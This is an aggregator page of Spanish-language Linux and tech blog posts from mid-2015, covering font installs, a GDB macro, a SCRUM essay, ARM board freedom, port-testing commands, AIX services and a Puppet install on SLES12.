Lunes 06 de julio de 2015

Julio Mayorga

Julio Mayorga
Blog 123Hosting.com.mx

El futuro de las noticias, según Mark Zuckerberg

Hoy en día, Facebook ya es mucho más que una red social por la cual enterarse de que hace o no una persona. Un grupo de investigadores reveló que muchisima gente busca noticias allí.

El creador de esta red social, estudió el escenario y tiene intenciones de posicionar las noticias dentro de facebook.  De hecho, acordó con medios como The New York Times o National Geographic para que publiquen sus artículos enteros directamente en la plataforma.

Hace poco, en una ronda de preguntas y respuestas, remarcó su interés por esta nueva función. Instant Articles, y explicó que esta nueva herramienta busca ayudar a los usuarios a consumir más noticias, ya que se pueden leer más rápido y se puede adaptar a los dispositivos móviles

Hoy en día, abrir una foto, es cuestión de clickearla e inmediatamente se abre. Pero para poder ver una noticia, es necesario navegar hacia otro sitio, el cual demorará mucho más. Esto produce que el usuario pierda el interés y lo cierre sin siquiera abrir la noticia. Y esto es lo que Mark quiere cambiar.

El programa Instant Articles, además, promete más tráfico a los editores. “La gente va a leer muchas más noticias. Eso será bueno para ayudar a informar sobre el mundo y también será bueno para el ecosistema de noticias”, explicó.

Zuckerberg, abrió un espacio para que los medios puedan entregar artículos más cortos pero más rápido y con mayor frecuencia de actualización. “Esto no va a sustituir los artículos más largos o las investigaciones, claro. Pero, de todas formas, creo que nadie lo logró aún”,

Jueves 02 de julio de 2015

Luis Armando Medina

Luis Armando Medina
Como Instalar Linux

Como Instalar fuente Inconsolata en Ubuntu y Linux Mint

Inconsolata es una fuente que se ve muy bien en la pantalla, pero se ve mejor cuando está impresa en una hoja de papel, los dígitos me agradan mucho pues resaltan fácilmente del código y tienen un diseño muy uniforme. En tamaños pequeños pierde un poco de esos detalles pero aun así es una gran opción para usar en un editor de código o en una terminal pues es una fuente de ancho fijo. Aquí te digo como instalar la fuente inconsolata en Ubuntu y Linux Mint Continue reading
Julio Mayorga

Julio Mayorga
Blog 123Hosting.com.mx

Como recuperar tu teléfono si lo pierdes.

Muchas veces de forma distraída perdemos nuestro teléfono, y en esta nota te enseñaremos a rastrearlo o protegernos en caso de que nos roben el móvil.

Como ya sabemos, lo mejor es denunciar el robo ante la policía, pero a nivel de usuario, también podemos hacer algunas cosas que ahora te mostraremos:

Para usuarios con teléfonos Android:

La empresa Mountain View ofrece la asistencia de su administrador de dispositivos, a la cual se puede acceder desde nuestra cuenta de Google y desde ahí gestionar los teléfonos móviles, tablets o gadgets que tengan Android.

En esta página podremos seguir la localización exacta del teléfono siguiéndolo con google maps, siempre y cuando tengamos activada la opción acceder a la ubicación en el terminal, dentro de ajustes de Google y Ubicación.


También nos dará otros datos del dispositivo y algunas opciones mas, como por ejemplo hacer sonar el teléfono en máximo volumen, bloquearlo, restablecer la contraseña y finalmente borrar todos los datos del dispositivo.

iOS

Apple ofrece a los usuarios la opción “Buscar mi iPhone”, mediante la cual será posible acceder a una web o usar una app móvil para encontrar el iPhone o iPad que haya desaparecido. En las últimas versiones de iOS se incluyó el  modo Perdido para bloquear el dispositivo de forma remota con una clave de cuatro dígitos.


Al igual que en los teléfonos con android, se puede registrar la ubicación, reproducir un sonido, y borrar de forma remota toda la información del dispositivo.

  Windows Phone

Por último, Microsoft también dispone de algunas opciones para defendernos en caso de que nuestro teléfono haya sido robado. Tambien permite reproducir sonidos, bloquear el teléfono y borrar los datos que se encuentran en el.


En cualquiera de todos los casos, conviene modificar todas las contraseñas (Correo, Facebook, Twitter, etc) y dar de baja la linea con nuestra compañia de teléfono.

Martes 30 de junio de 2015

Luis Armando Medina

Luis Armando Medina
Como Instalar Linux

Linux Mint 17.2 “Rafaela” Lista Para Descargar

Se ha anunciado la disponibilidad de Linux Mint 17.2 Rafaela por parte del equipo de desarrollo en el blog oficial de la distro. En esta nueva versión incluye un escritorio mas refinado con Cinnamon 2.6 y Mate 1.10 con nuevas … Continue reading
Julio Mayorga

Julio Mayorga
Blog 123Hosting.com.mx

El nuevo salvavidas de Gmail!

Hace poco se ha dado a conocer esta posible nueva función de Gmail, la cual es experimental hasta el momento.

Para todos aquellos que siguen utilizando Gmail para enviar correos electrónicos, o como medio de comunicación, seguramente habrán pasado mas de una vez por ese momento de enviar un mail que nunca debió haber salido de la casilla de correo. Quizás se envió a la persona equivocada, faltó comentar algo, o simplemente nos arrepentimos después de presionar el botón enviar.

Para que esto deje de pasar, Gmail puso a prueba una nueva función de “Undo”, el cual deja unos segundos el correo en stand by antes de enviarlo por si queremos modificar algo

Para habilitar la función “Deshacer el envío”:

  1. Haz clic en el icono de la rueda dentada de la esquina superior derecha y selecciona Configuración.
  2. Baja por la pantalla hasta “Deshacer el envío” y haz clic en Habilitar.
  3. Configura el plazo de cancelación (el tiempo que tienes para decidir si quieres anular el envío de un correo).
  4. Haz clic en el botón Guardar cambios del final de la página.

Si has activado la función “Deshacer el envío” en Labs de Gmail, tu configuración de esa función estará siempre activa de forma predeterminada.

 

Lunes 29 de junio de 2015

Xenode Systems: ¿Qué hacer después de instalar Fedora 22? (Workstation/Server)
Alex Callejas

Alex Callejas
|rootzilopochtli.com|

Sitio en recuperación

bart

Y es por esto, queridos amigos, que hay que respetar Las Tres Leyes del SysAdmin

Estaremos de regreso muy pronto!

mantenimiento

 

Sábado 27 de junio de 2015

Xenode Systems: Ksplice: Actualizaciones de seguridad rebootless para Linux
Xenode Systems: Protección anti-malware en Linux (5+ tips básicos)

Viernes 26 de junio de 2015

José Oviedo

José Oviedo
oviedo.mx

No LDAP support for PHP, ¿como activar la librería?

Estoy probando la librería adLDAP en PHP con Codeigniter y al momento de ingresar a la página me marca un error de que no se cuenta con soporte para LDAP.

Fatal error: Uncaught exception ‘adLDAP\adLDAPException’ with message ‘No LDAP support for PHP. See: http://www.php.net/ldap’ in C:\xampp\htdocs\sistema\application\libraries\adLDAP\adLDAP.php:606

Lo más extraño es que en el archivo de configuración php.ini, si esta habilitada la DLL de php_ldap.dll

extension=php_ldap.dll

Se reinicia XAMPP y nada de nada, el mismo error.

La solución es copiar estos 3 archivos al directorio de c:\windows\system\ los cuales estan dentro de c:\xampp\php\

libeay32.dll
libsasl.dll
ssleay32.dll

Una vez copiados a la carpeta system de Windows, reiniciamos Apache y listo!!!, ya tenemos el módulo LDAP activado.

ldap

LDAP Support enabled
RCS Version $Id: 6de334df54b2b93e6a633c353cfca7412b9a37cd $
Total Links 0/unlimited
API Version 3001
Vendor Name OpenLDAP
Vendor Version 20433
SASL Support Enabled

Moisés Silva

Moisés Silva
Moy Blog

GDB strcmp in a core dump

I tried finding an answer on google about how to do a strcmp operation in a core dump and could not find any solution. The answers available focused on using “call” to call the libc strcmp() function on a live process. Most interesting debugging for me happens on core dumps, so I decided to write my own gdb user defined command (sort of like a macro):

define gdb_strcmp
        dont-repeat
        set $result = 1 
        set $_i = 0 
        if ($arg0[0] == 0x0 && $arg1[0] != 0x0)
                set $result = 0 
        end 
        if ($arg0[0] != 0x0 && $arg1[0] == 0x0)
                set $result = 0 
        end 
        while ($result == 1 && $arg0[$_i] != 0x0 && $arg1[$_i] != 0x0)
                if ($arg0[$_i] != $arg1[$_i])
                        set $result = 0 
                end 
                set $_i = $_i + 1 
        end 
end
document gdb_strcmp
Determines if two C strings match
end

Note that gdb user commands are annoying because you don’t really have return values (they are not really functions/macros), so you have to set a global variable (yuck!) to hold the result. This macro sets $result to 0 if the strings are not equal and $1 if they are. I contemplated using the same return value than the C counterpart, but since I was interested in just a ‘yes or no’ answer I sticked to use 1 for equal and 0 for non equal.

You can then go ahead and use this macro in other macros to do useful things, such as scan a linked list and verify if a given member has certain string value.

PD. I know it’d be cleaner to start using Python for these things but I have not really looked yet into that

Martes 23 de junio de 2015

Luis Armando Medina

Luis Armando Medina
Como Instalar Linux

Como Instalar Dina Programming font en Ubuntu y Linux Mint

Dina es una fuente que fue creada con el objetivo de ser adecuada para programar, el autor menciona que después de haber probado todas la fuentes gratuitas y notar que con ninguna fuente podía sentirse cómodo al trabajar a largo plazo … Continue reading

Lunes 22 de junio de 2015

Carlos Augusto Lozano

Carlos Augusto Lozano
tail -f /dev/mind > blog

Ley Augustiana CCIX

“Una de las reglas básicas cuando se es infiel, es cerrar todas las sesiones de correo, chat y redes sociales; y borrar archivos temporales de todos los dispositivos que la ente feminoide afectada pueda tener acceso”. Dedicado al ex-novio de una amiga.

Lunes 15 de junio de 2015

Héctor Daniel Cortés

Héctor Daniel Cortés
'Aztec Eagle' Turbo

Creo que tengo un inquilino


find / -type f | xargs file | fgrep ELF | cut -f1 -d: | xargs rpm -qf | fgrep 'not owned'
Gustavo Rubio

Gustavo Rubio
Ahí vamos

We suck at agile and SCRUM, here’s why

La real academia de la lengua española es clara en la definición de la palabra ágil:

Ligero, pronto, expedito.

No en vano Fowler, Martin y compañía decidieron adoptar esta palabra para definir un proceso de desarrollo de software con métricas apegadas a la realidad pero lo más importante: con resultados tangibles.

Recientemente, en el proyecto más actual en el que me encuentro laborando, he tenido oportunidad de (intentar) implementar esta metodología de trabajo.

¿He sido exitoso en dicha implementación?

Más o menos…

Waterfall Vs SCRUM

Existen muchas metodologías de desarrollo de software siendo la más común waterfall, esa que nos dice que tenemos que hacer más o menos lo siguiente:

  1. Levantamiento de requerimientos
  2. Diseño
  3. Implementación
  4. Verificación
  5. Mantenimiento

640px-Waterfall_model.svg

El problema más grande que los detractores de waterfall identifican es la poca flexibilidad para ajustar los requerimientos o metas del proyecto ya que una vez que hemos pasado de un paso al siguiente es muy difícil, complicado y caro cambiar el objetivo del proyecto, situación que el 90% del tiempo va a suceder por varios factores, principalmente por:

  • El cliente cambia los requerimientos del proyecto, después de la fase planeación o negociación por tener poca visibilidad de las necesidades durante el análisis y diseño
  • Inconvenientes u obstáculos técnicos que son difíciles de encontrar en el análisis inicial, cuando solo se está enfocado en aspectos generales del proyecto y no de las particularidades
  • Cambios en el entorno del negocio en el cual se desempeña el cliente lo cual hace necesario repensar a que elementos darles prioridad

Es por estas y otras razones (principalmente el “epic failure” de la mayoría de los proyectos administrador con waterfall) que las metodologías ágiles de desarrollo de software han sido adoptadas en la última decada, particularmente SCRUM.

SCRUM

A diferencia de waterfall, SCRUM no pleantea una metodología de trabajo lineal sino más bien iterativa, es decir, con n cantidad de ciclos:

  1. Sprint planning (planeación del siguiente bloque de trabajo)
  2. Daily standup (revisión de progreso del día anterior y plan de trabajo del día actual)
  3. Sprint review (revisión de elementos o entregables listos)
  4. Sprint retrospective (o análisis del trabajo realizado y lo que se pudo completar)

scrum_process

Por supuesto que SCRUM es más que eso pero en los términos más simples estos son los procesos (o ceremonias, en la jerga de scrum).

De hecho, si tuviera que explicar SCRUM a alguien que nunca ha trabajado bajo esta metodología, de la manera más simple sería:

Es como waterfall, solo que infinito

A diferencia de waterfall, SCRUM requiere que los mismos procesos se repitan idefinidamente hasta que el producto esté listo, de hecho, en la naturaleza de SCRUM está el hecho de que no existe una meta como tal de un producto terminado sino que siempre es continuo el desarrollo. De este modo siempre hacemos análisis de requerimientos y estimaciones (sprint planning) diseño e implementación (durante el proceso de development) verificación (con las juntas diarias o los llamados daily standups y el sprint review) y finalmente el mantenimiento toda vez que se aplican fixes al software durante el mismo proceso. Este flujo de trabajo se repite por cada “sprint” que simplemente es un bloque de tiempo ya sea una semana, 15 días, etc. La ventaja de esta estrategia es que siempre se puede ir ajustando el proyecto según los requerimientos cambien y se pueden tener entregables fijos constantemente, es decir, el crecimiento del proyecto es orgánico.

Big ACME corporation VS startups

La mayoría de los proyectos en los que he estado involucrado han sido para empresas grandes, grandes y burocráticas. Naturalmente estos entornos de trabajo suelen ser los que más se inclinan por metodologías tradicionales como waterfall y es ahí donde he experimentado el fracaso de dicha metodología, salvo algunos honrosos casos.

De hecho, en la mayoría de estos proyectos ni siquiera se ha seguido al pie de la letra una u otra metodología. Parte del fracaso de estos proyectos ha sido precisamente esa falta de organización y compromiso por todas las partes involucradas en el equipo.

¿Fracaso?…

Sí, bueno, a pesar de ser productos que probablemente vieron la luz y están felizmente ejecutandose en entornos de producción puedo asegurarles que la mayoría elevaron su costo de desarrollo a mas del triple y se entregaron en fechas muy diferentes a las acordadas inicialmente. Desde el punto de vista técnico probablemente el producto haga lo que tenga que hacer, pero desde la perspectiva de negocio fue un fracaso ya que probablemente no llego en tiempo ni forma, y eso siempre cuesta dinero y bueno, todos estamos en esto por el dinero ¿No?

La mayoría de las veces que he tenido que administrar proyectos los elementos involucrados en dicha tarea han sido inútiles por una serie de situaciones complicadas donde obviamente todos hemos tenido la culpa. Por ejemplo, usualmente para el diseño inicial de una aplicación se suelen desarrollar los siguientes documentos o elementos:

  • Documento de negocio que explica los requerimientos del proyecto, de sus usuarios y alcance
  • Documento con entregables, definición de funcionalidad por módulo, etc.
  • Diagrama de proyecto (gantt chart, calendario, etc.)

¿Sáben cual de los elementos anteriores sigue siendo válido después de un par de meses de iniciado el proyecto?

Ninguno.

Trabajar con corporativos o empresas grandes requiere hacer compromisos de caballeros, esos que van firmados en documentos y que tanto el cliente como el proveedor saben que no se cumplirán pero que de todas formas se necesitan para satisfacer al área de compras del cliente y la jurídica y administrativa del proveedor. Desgraciadamente, todos los niveles hacía abajo en el escalafón quedamos atrapados en dicha mentira pues la mayoría del equipo, desde el director de proyecto, hasta el programador, saben que será imposible entregar el producto y no precisamente porque crean que es complicado sino todo lo contrario: incertidumbre, se sabe a grandes rasgos que se debe hacer pero es imposible estimar un proyecto “de pi a pa” de manera tán genérica.

Lo anterior hace que pasados un par de meses no solo los documentos iniciales se vuelvan inútiles sino que además se tenga poca idea del rumbo que el proyecto debería de tener, cuales elementos deben llevar prioridad, donde están fallando las cosas, etc. Y al final, cuando el cliente está en una situación crítica donde no ha recibido absolutamente nada y ya ha pasado al menos la mitad del tiempo estimado de desarrollo se empieza a explotar al equipo para tratar de sacar un producto que ahora cuenta con requerimientos totalmente diferentes a los pactados inicialmente, peor aun, el seguimiento de avance y progreso del proyecto termina siendo administrado en una hoja de excel con colores chillones y columnas que nos indican la prioridad de cada uno de ellos: para antier, para ayer y crítico.

Después de años de estar involucrado en proyectos de este tipo, y aprovechando que ahora laboraba en una empresa de desarrollo de software que trabaja exclusivamente con startups decidí que era momento de intentar algo diferente. Si bien SCRUM y las metodologías ágiles no me eran ajenas tampoco podía decir que tenía experiencia real en el tema ya que haber sugerido dicha metodología de trabajo en proyectos anteriores hubiera sido causa de burla (lo menos) por parte de mis superiores sin embargo mi nuevo cliente SÍ estaba dispuesto a trabajar bajo dicha metodología.

Pensando que tenía el apoyo del cliente y suficiente conocimiento con el tema eché a andar la máquina y comenzamos a trabajar en nuestro proyecto donde finalmente entendí lo equivocado que estaba sobre el tema de colaboración.

Lo que NÓ es SCRUM

Tan pronto como inició el proyecto empecé a hacer un poco de investigación sobre el tema: me leí algún par de libros (recomiendo este y este otro), monté un proyecto en pivotal tracker con algunas de las historias de usuario o elementos iniciales del proyecto y comencé a diseñar un proceso de trabajo interno en el equipo.

Al cabo de un par de meses me dí cuenta que a pesar de intentar implementar la metodología y seguir más o menos al pie de la letra los pasos las cosas no estaban saliendo como se habían planeado. El principal problema era la falta de colaboración entre el cliente y el equipo de desarrollo. Por ejemplo, nuestro CTO o director técnico del proyecto no estaba disponible para responder dudas la mayoría del tiempo y por otra parte no había un rol definido sobre quien sería el “product owner” o quien debería priorizar las tareas y que era más importante para entregar en cada ciclo.

Tras varias juntas y discusiones con el cliente intenté explicarles no solo la metodología de trabajo sino las ventajas de seguirlo al pie de la letra. Una de las ventajas de nuestro cliente es que la mayoría de los miembros de su equipo son personas jóvenes y abiertas a cambios o metodologías de trabajo diferente, sin embargo parecía que aún cuando entendían las ventajas de SCRUM no entendían las responsabilidades porque tanto el cliente como el proveedor tenemos responsabilidades en SCRUM. Para el cliente, SCRUM seguía siendo un buzzword de moda entre startups que permite entregar trabajo de manera ligera, pronta, y expedita, solo que por arte de magia o generación espontánea.

La parte más difícil de enseñar SCRUM a un cliente es hacerle entender que si este no se involucra será prácticamente imposible que el proyecto sea exitoso.

Pero, ¿Qué es realmente lo que debemos ayudar a nuestro cliente a entender?

En un artículo de Mike Hadlow podemos leer lo siguiente:

So what happened? Why is agile now about stand-ups, retrospectives, two-week iterations and planning poker?

Somehow, over the decade or so since the original agile manifesto, agile has come to mean ‘management agile’. It’s been captured by management consultants and distilled as a small set of non-technical rituals that emerged from the much larger, richer, but often deeply technical set of agile practices.

Involucrar al cliente significa hacerlo entender el alcance técnico del proyecto. Tal como menciona el artículo citado SCRUM no es una metodología de administración de proyecto, es una metodología de desarrollo de software y tanto al cliente como a mi (el administrador de proyecto) nos ha costado entenderlo.

Aun cuando recientemente hemos llegado a un punto donde nuestro cliente se ha involucrado lo suficiente (gracias a la propia presión que he ejercido para que esto suceda) siento que podríamos tener mejores resultados. Sí, tenemos planeación de sprint cada semana donde el cliente está involucrado. Sí, tenemos una llamada diaria con el cliente a manera de daily standup donde revisamos lo que hizo cada miembro del equipo el día anterior y lo que hará el día de hoy y si tiene algún obstáculo para completar dicha tarea. Sí, hacemos “groom” del backlog y nos aseguramos que cada miembro tenga suficiente trabajo para las siguientes iteraciones, priorizado y bien explicado. Sí, tenemos “team retrospectives” donde se discute el performance de todo el equipo y como podemos mejorar.

Pero esto no ha sido suficiente.

Citando de nuevo el artículo de Hadlow:

The core problem is that non-technical managers of software projects will always fail, or at best be counter productive, whatever the methodology. Developing software is a deeply technical endeavour. Sending your managers on an agile course to learn how to beat developers over the head with planning poker, two week iterations and stand-ups will do nothing to save spaghetti code and incompetent teams. You might have software projects that succeed despite the agile nonsense, but that would be coincidence, not causation.

Afortunadamente me puedo considerar lo suficientemente técnico para entender las partes complicadas de un proyecto de software pero lo suficientemente imparcial para entender las necesidades a un nivel de negocio, sin embargo, si parte de las personas involucradas en la planeación de cada iteración son personas que carecen de entendimiento y conocimiento técnico entonces es necesario que alguien sea capaz de explicar a estos miembros las implicaciones de tareas muy técnicas a un nivel relevante para ellos, es decir, el impacto a nivel de producto o de operatividad de negocio, riesgos o ventajas que una decisión técnica implica; puede ser que signifique más tiempo para entregar funcionalidad que se requiere inmediatamente, introducir inestabilidad en producción, incompatibilidad con la integración de un tercero, etc.

Por ejemplo, recientemente en una de las planeaciones de nuestros sprints un miembro del equipo por parte del cliente requirió cierta funcionalidad que tenía la más alta prioridad, después de haberla estimado entre el equipo se me hizo la siguiente pregunta:

¿Cuándo puede estar listo para probarse esto? ¿Miércoles o Jueves?

A pesar de haber estimado la tarea no tendríamos suficiente tiempo para entregarla esa semana. El razonamiento del cliente fue que “particularmente esta funcionalidad es crítica para nosotros y necesitamos entregarla esta semana” a lo que contesté:

Sería similar a pedirle a una mujer que es urgente que tenga un bebé y que lo necesitamos en 4 meses

Hay cosas que no se pueden apresurar, tal como la reproducción y desarrollo embrionario. De igual manera, ciertos factores en el desarrollo de software impiden que tengamos entregables en una fecha específica solo porque se le aumente prioridad a la tarea o se trate de agilizar su desarrollo poniendo a todo el equipo de trabajo en ella. El desarrollo ágil no tiene nada que ver con acelerar las cosas, tiene que ver con organización. Si alguien en el equipo es incapáz de transmitir esta información de una manera no técnica a quien requiere dichos cambios entonces estamos fritos, y, usualmente, para que esto suceda, debemos contar en el equipo con un administrador de proyecto que entienda ambas partes.

Because creating good software is so much about technical decisions and so little about management process, I believe that there is very little place for non-technical managers in any software development organisation. If your role is simply asking for estimates and enforcing the agile rituals: stand-ups, fortnightly sprints, retrospectives; then you are an impediment rather than an asset to delivery

La parte clave del texto citado arriba es: “Crear buen software tiene mucho que ver con decisiones técnicas y muy poco sobre procesos administrativos

Tal cual: La clave está en tomar las decisiones técnicas adecuadas que nos permitan entregar lo que el cliente necesita, siempre y cuando existan las condiciones técnicas para hacerlo o de lo contrario hacérselo saber al cliente para que este tome la decisión pertinente.

Cómo mejorar el flujo de trabajo en SCRUM

A pesar de seguir experimentando con esta metodología de trabajo y puliendo nuestro flujo interno he tenido suficientes experiencias para discernir cuando estamos haciendo algo bien y cuando estamos haciendo algo mal, pero sobre todo, hacer ejercicio de auto-evaluación para poder ayudar a los miembros del equipo, labor más importante de mi puesto.

Estos son algunos de los puntos que consideraría claves para mejorar el flujo laboral basado en SCRUM:

Ser un “team lead“, no un “project manager

La diferencia es grande. Pero si ustedes como en mi caso están encargados de “administrar el proyecto” es mejor comenzar a ver las cosas de otra manera. La psicología es poderosa y verse así mismo como administrador envenena el entorno y nos vuelve inútiles hacia nuestros compañeros. Por otra parte si tratamos de convertirnos en líderes de equipo significa que tomaremos un rol más importante que administrar: ayudar. Como se titula este artículo:  “You are not a software development manager, you are software helper” la única misión que deberíamos tener en mente es ayudar al equipo de desarrollo a cumplir las metas y objetivos, nada más. Esto me ha costado entenderlo pero la ayuda y feedback del equipo han sido de mucha ayuda. Pedir retroalimentación de los miembros de nuestro equipo constantemente y conocer sus necesidades nos ayudará a pulir este, nuestro rol.

Involucrar a todas las personas necesarias

Planeación de sprint entre desarrolladores solamente no es planeación. Estimación sin las personas de calidad no es estimación. Priorizar tareas sin contar con participación del cliente será inútil. Es elemental que todos los roles estén involucrados siempre: cliente, desarrolladores, calidad, team leads, etc. Cada una de estas personas juega un papel importante en scrum ya sea como team member, scrum master, product owner o stake holder. Cualquier ceremonia o evento de SCRUM que no involucre a todos estos roles no servirá de nada.

Es también esencial hacer entender a las dos partes (tanto al cliente como al equipo de desarrollo) la importancia de su participación y hacerlos co-responsables del proceso. La adecuada ejecución de SCRUM no es solo responsabilidad del “administrador del proyecto” o del cliente, es de todos.

Pulir el flujo de trabajo

En algunas ocasiones aun cuando seguimos al pie de la letra SCRUM los resultados no son inmediatos. Para ello es necesario ir puliendo y acoplando el flujo de trabajo para que sea compatible con SCRUM y no lo contrario. Por ejemplo, uno de los inconvenientes que ocurren con mas frecuencia durante nuestros daily standups es dificultad para transmitir de manera sintentizada información sobre las actividades de cada desarrollador en un lapso corto de tiempo. Para ello he recomendado a cada uno de los desarrolladores tener listas sus notas sobre lo que deben discutir día a día pero solo con los puntos importantes, es decir: ¿En qué estoy trabajando? ¿Cuál es el avance o estatus actual?, proyección de las siguientes tareas, etc. Ir mejorando cada una de las partes o “rituales” dentro de SCRUM nos ayudará a invertir más tiempo en desarrollar el producto que en administrarlo.

Colaboración constante con el cliente (y viceversa)

Este es uno de los puntos críticos: si no se tiene colaboración y comunicación constante de equipo de desarrollo hacia el cliente y viceversa entonces será difícil tener entendimiento de los requerimientos de cada iteración o bien para el cliente será difícil entender obstáculos técnicos al menos en un tiempo saludable para tomar decisiones y revalorizar la importancia de las tareas. Mi regla es simple: si al momento de hacer la estimación de una tarea alguien del equipo no entendió a la perfección lo que se debe desarrollar entonces no podemos estimarla. Tampoco podemos estimar algo que el cliente no puede explicar fácilmente y en su totalidad; si esa unidad de trabajo no es completamente estimable y entendible entonces no debería trabajarse en ella.

Otro punto clave en la comunicación es que el desarrollador informe al cliente cuando una tarea que se estimó presenta obstáculos o tomará más tiempo de lo acordado. Esto no es un pecado ni una debilidad por parte del programador pero si es necesario informarlo ya que el cliente debe tomar la decisión si se sigue invirtiendo tiempo y capacidad en dicha tarea o se reasignan los recursos.

Por otra parte cuando sucede lo inverso, es decir, el cliente cambia requerimientos que afectaran algunas tareas o historias ya definidas, es importante notificar al equipo de desarrollo para revalorizar dichas tareas e informar de vuelta al cliente los cambios necesarios.

Uso de herramientas de apoyo

Finalmente diría que una de las cosas que más nos ayudaran es el uso de herramientas para administrar el proyecto SCRUM como dashboards digitales, bug trackers, etc. Lo más importante: utilizarlos. Si nadie utiliza las herramientas adecuadamente entonces solo nos estorbarán. Hay que educar tanto al cliente como a los desarrolladores el uso adecuado de estas herramientas para evitar perder más tiempo en depurar la información dentro de la herramienta que lo que nos ayuda para llevar acabo el proyecto; títulos descriptivos, descripciones de tareas con casos de uso y recursos como fotos, textos, wireframes, tags o etiquetas para categorizar, asignación de tarea a las personas adecuadas, etc.

Sábado 13 de junio de 2015

Gunnar Wolf

Gunnar Wolf
Gunnar Wolf

«Almost free» — Some experiences with the Raspberry Pi, CI20, BananaPi, CuBox-i... And whatever will follow

I know very little about hardware.

I think I have a good understanding on many aspects of what happens inside a computer, but my knowledge is clearly firmer on what happens once an operating system is already running. And even then, my understanding of the lower parts of reality is shaky at most — At least according to my self-evaluation, of course, comparing to people I'm honored to call "my peers".

During the last ~18 months, my knowledge of this part of reality, while still far from complete, has increased quite a bit — Maybe mostly showing that I'm basically very cheap: As I have come across very cheap (or even free for me!) hardware, I have tried to understand and shape what happens in levels below those where I dwell.

I have been meaning to do a writeup on the MIPS Creator CI20, which was shipped to me for free (thanks++!) by Imagination Technologies; I still want to get more familiar with the board and have better knowledge before reporting on it. Just as a small advance, as this has been keeping me somewhat busy: I got this board after their offer to Debian Developers, and prompted because I'll be teaching some modules on the Embedded Linux diploma course dictated by Facultad de Ingeniería, UNAM — Again, I'll blog about that later.

My post today follows Riku's, titled Dystopia of things, where he very clearly finds holes in the Internet of Things offering of one specific product and one specific company, but allows for generalizations on what we will surely see as the model. Riku says:

Today, the GPL sources for hub are available - at least the kernel and a patch for busybox. The proper GPL release is still only through written offer. The sources appeared online April this year while Hub has been sold for two years already. Even if I ordered the GPL CD, it's unlikely I could build a modified system with it - too many proprietary bits. The whole GPL was invented by someone who couldn't make a printer do what he wanted. The dystopian today where I have to rewrite the whole stack running on a Linux-based system if I'm not happy what's running there as provided by OEM.

This is not exactly the situation on the boards/products (it's a disservice to call the cute CuBox-i just a board!) I mention I'm using, but it's neither too far. Being used to the easy x86 world, I am used to bitching on specific hardware that does not get promptly recognized by the Linux kernel — But even with the extra work UEFI+SecureBoot introduces, getting the kernel to boot is something we just take for granted. In the MIPS and ARM worlds, this is not so much of a given; I'm still treating the whole SPL and DeviceTree world as a black box, but that's where a lot of the work happens.

The boards I am working on try to make a point they are Open Hardware. The CI20 is quite impressive in this regard, as not only it has a much more complete set of on-board peripherials than any other, but a wealth of schematics, datasheets and specifications for the different parts of its components. And, of course, the mere availability of the MIPSfpga program to universities worldwide is noteworthy — Completely outside of my skillset, but looks most interesting.

However... Despite being so much almost-Free-with-a-capital-F, all those boards fail our definitions of freedom in several ways. And yes, they lead us to a situation similar to what Riku describes, to what Stallman feared... To a situation not really better to where we stand on openly closed-source, commodity x86 hardware: Relying on binary blobs and on non-free portions of code to just use our hardware, or at least to use many of the features that would be available to us otherwise.

As an example, both the CI20 and the CuBox-i vendors provide system images able to boot what they describe as a Debian 7 system, based on a 3.0 Linux kernel (which Debian never used; IIRC the CuBox-i site said it was derived from a known-good Android kernel)... Only that it's an image resulting of somebody else installing and configuring it. Why should we trust their image to be sane? Yes, the resulting installation is quite impressive (i.e. the CI20's 3D demos are quite impressive for a system that feels otherwise sluggish, and out of my ARM experience, I'd wager it feels sluggish mostly because of a slow SSD)...

I have managed to do clean Debian installs on most of my ARM machines (the CuBox-i as described in my previous blog post; this post from Elena ``of Valhalla'' prompted me into trying the already well documented way of running the official Debian Installer, which worked like a charm and gave me a very nice and responsive Debian 8 install — Modulo yes, the Banana's non-free video interface, which AFAICT uses the non-free Mail binary driver... And which I haven't had the time to play with yet. Of course, my CuBox is in a similar situation, where it works like a charm as a personal server, but is completely worthless as a set-top box.

So, with those beautiful, small, cheap SoC systems, we are close to where we stood twenty years ago with x86 Linux: Good support for a small set of peripherials, but a far cry from having a functional system with exclusively free software. ,

Despite claims of being open source, this is not open source hardware. If you are thinking of getting this device, you should also try looking into the hardware from our Community instead.

Still... Playing with these boards has taught me a lot, and has clearly taught me I'm still standing on the first steps of the n00b level. I have a lot to learn to be able to responsibly teach my part of the diploma course, and I'm very thankful for the differences in hardware (and, of course, for the hardware manufacturers, specially for the MIPS Creator CI20 and the Lemaker Banana Pi for giving me boards to work on!)

I shall keep posting on this topic.

Viernes 12 de junio de 2015

Oswaldo Villa

Oswaldo Villa
Villatux Blog <--

Test ports (applications) from command line UNIX

Commands to test applications (ports open)

Here you go three commands to test ports open. in this case im testing the port 80 of the site google.com


nc -v google.com 80

telnet google.com.mx 80


nmap google.com.mx -p 80




Miércoles 10 de junio de 2015

Oswaldo Villa

Oswaldo Villa
Villatux Blog <--

Start and stop services in AIX (SSH)




1.First check the status of the service (SSH) giving the below command
#lssrc -s sshd



2. Stop the service (SSH) by giving the below command

#stoptsrc -s sshd 

3. Start the service (SSH)
#startsrc -s sshd 

Note:
If you want to list all available services on the machine:

#lssrc -a 

For more information about the commands:
man

Lunes 08 de junio de 2015

Gerónimo Orozco

Gerónimo Orozco
Patux's booring news

OpenStack Summit - Liberty. Experiencias y Novedades

Registrate




OpenStack Summit es el evento mas importante para la comunidad de OpenStack donde se lleva a cabo una serie de sesiones técnicas para compartir los avances en distintas areas. Durante las sesiones de Design Summit, los desarrolladores y líderes técnicos se reunen para definir y planear las futuras funcionalidades de cada componente. En esta sesión abarcaremos algunos temas importantes que fueron discutidos y presentados durante el OpenStack Summit celebrado en Vancouver, Canada.
Alcance Libre: Curso Global de Servidores con CentOS 7.

Jueves 04 de junio de 2015

Emerson Posadas

Emerson Posadas
toxickore BLOG

Best and easy way to install puppet on SLES12

Based on the following question:

https://ask.puppetlabs.com/question/392/best-way-to-install-puppet-master-under-sles-suse-11-r2/

# zypper addrepo http://download.opensuse.org/repositories/systemsmanagement:/puppet/SLE_12/systemsmanagement:puppet.repo
# zypper refresh
# zypper install puppet

    Miércoles 03 de junio de 2015

    Javier Rodríguez

    Javier Rodríguez
    javier arturo rodríguez

    fire.java

    fire.java

    I wrote this small applet twenty years ago, lost it to the sands of time – and found it again at http://www.1archive.com/java/fire/… (Thanks guys!)

    If you have a half-decent browser, it will probably refuse to show the embedded applet in the fire.html page,
    so use this command instead:

    $ appletviewer http://javier.rodriguez.org.mx/java/fire/fire.html

    The source code is available at http://javier.rodriguez.org.mx/java/fire/.

